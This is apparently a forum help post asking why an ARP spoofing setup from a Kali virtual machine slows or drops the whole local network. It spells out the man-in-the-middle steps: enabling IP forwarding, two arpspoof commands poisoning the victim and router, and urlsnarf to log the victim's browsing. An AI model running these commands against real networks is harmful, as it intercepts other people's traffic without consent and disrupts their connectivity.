arpspoof in virtual machine doesnt work

Hey!

So I setup a Virtual Machine (Kali) and put it in Bridged mode.
My Problem is, the whole network goes down / extremely slow and I dont have any connection on any device anymore.

What I did:

Victim IP address : 192.168.1.4

Attacker network interface : eth0; with IP address : 192.168.1.18

Router IP address : 192.168.1.1

Allow "Packet Forwarding" to act as a router:

echo '1' > /proc/sys/net/ipv4/ip_forward

Set up arpspoof between victim and router:

sudo arpspoof -i eth0 -t 192.168.1.4 192.168.1.1

And then setup arpspoof to capture all packets from router to victim:

sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.4

Now we use urlsnarf to monitor packets:

urlsnarf -i eth0